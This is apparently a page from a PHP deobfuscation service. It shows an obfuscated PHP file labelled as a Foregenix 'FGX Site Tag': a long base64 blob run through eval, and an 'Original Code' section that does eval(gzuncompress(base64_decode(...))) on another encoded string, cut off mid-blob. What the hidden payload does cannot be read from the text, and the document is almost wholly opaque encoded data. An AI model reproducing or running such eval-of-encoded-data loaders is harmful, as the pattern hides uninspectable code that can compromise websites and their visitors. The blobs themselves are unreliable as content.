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';
eval(trim(gzuncompress(d(base64_decode($core),$k,V))));
Did this file decode correctly?
Original Code
<?php /** FGX Site Tag -- Copyright Foregenix 2015, All Rights Reserved **/
if (!function_exists('gzuncompress')) die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head></head><body><h1>Error</h1>Error 0x0f. Install and enable the zlib extension.. </body></html>');eval(gzuncompress(base64_decode("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